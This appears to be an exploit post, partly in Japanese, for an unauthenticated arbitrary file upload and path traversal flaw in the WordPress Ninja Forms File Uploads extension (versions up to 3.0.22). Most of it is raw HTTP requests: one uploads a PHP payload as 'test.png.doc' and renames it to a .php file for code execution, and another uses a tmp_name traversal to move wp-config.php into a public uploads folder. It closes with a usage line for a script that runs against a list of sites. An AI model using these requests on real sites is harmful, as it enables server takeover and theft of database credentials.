
(Wordpress) Ninja Forms File Uploads Extension <= 3.0.22 – 認証なしの任意ファイルアップロード
(Wordpress) Ninja Forms File Uploads Extension <= 3.0.22 – 認証なし任意ファイルアップロード
WordPress用Ninja Formsプラグイン(アップロードアドオンが有効な場合)のバージョン3.0.23未満に、パストラバーサルと無制限ファイルアップロードが存在します。これにより、攻撃者は includes/fields/upload.php(別名 upload/submit ページ)の name パラメータと tmp_name パラメータを介してファイルシステムをトラバースし、ファイルにアクセスしてコードを実行することができます。
Initial file upload Request:
Host: testserver.com
Content-Type: multipart/form-data; boundary=---------------------------16345274557837
Content-Length: 522
-----------------------------16345274557837
Content-Disposition: form-data; name="form_id"
1
-----------------------------16345274557837
Content-Disposition: form-data; name="field_id"
5
-----------------------------16345274557837
Content-Disposition: form-data; name="nonce"
0f3a997174
-----------------------------16345274557837
Content-Disposition: form-data; name="files"; filename="test.png.doc"
Content-Type: application/msword
<?php phpinfo(); ?>
-----------------------------16345274557837--
Response:
HTTP/1.1 200 OK
Server: nginx/1.14.0
"data":{
"files":[
{
"name":"test.png.doc",
"type":"application\/msword",
"tmp_name":"nftmp-14FpD-test.png.doc",
"error":0,
"size":19
}
]
}
When the form is submitted the initially uploaded tmp file is moved to a new location:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: testserver.com
Content-Length: 6850
--snip--
"5":{
"value":1,
"id":5,
"files":[
{
"name":"test.(php)",
"tmp_name":"nftmp-BNxfG-test.png.doc",
"fieldID":5
}
]
--snip--
その後、パラメータ「name」はWordPressの関数 sanitize_file_name によって「サニタイズ」されますが、この関数は基本的にあらかじめ定義された特殊文字のセットのみを削除します:
ninja-forms-uploads/includes/fields/upload.php:124
$file_name = sanitize_file_name(basename($target_file));
sanitize_file_name
Removes special characters that are illegal in filenames
on certain operating systems and special characters
requiring special escaping to manipulate at the command line.
Replaces spaces and consecutive dashes with a single dash.
Trims period, dash and underscore from beginning and end of filename.
It is not guaranteed that this function will return a filename
that is allowed to be uploaded.
https://developer.wordpress.org/reference/functions/sanitize_file_name/
これにより、tmpファイルは最終的な場所に移動されます: /wp-content/uploads/ninja-forms/1/test.php
アップロードフォルダが明示的に実行不可に設定されていない場合(デフォルトではそのようになっていません)、コード実行が発生します:

tmp_name のパストラバーサル:
フォームを送信する際、以下に示すように tmp_name パラメータを介してファイルシステムをトラバースすることも可能です。tmpファイルはアップロードフォルダ内の新しい場所に移動されることに注意してください!
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: testserver.com
Content-Length: 6850
--snip--
"5":{
"value":1,
"id":5,
"files":[
{
"name":"test.doc",
"tmp_name":"../../../../wp-config.php",
"fieldID":5
}
]
--snip--
これにより、wp-config.phpファイルは以下の場所に移動されます: /wp-content/uploads/ninja-forms/1/test.doc
USAGE: python script.py list-site.txt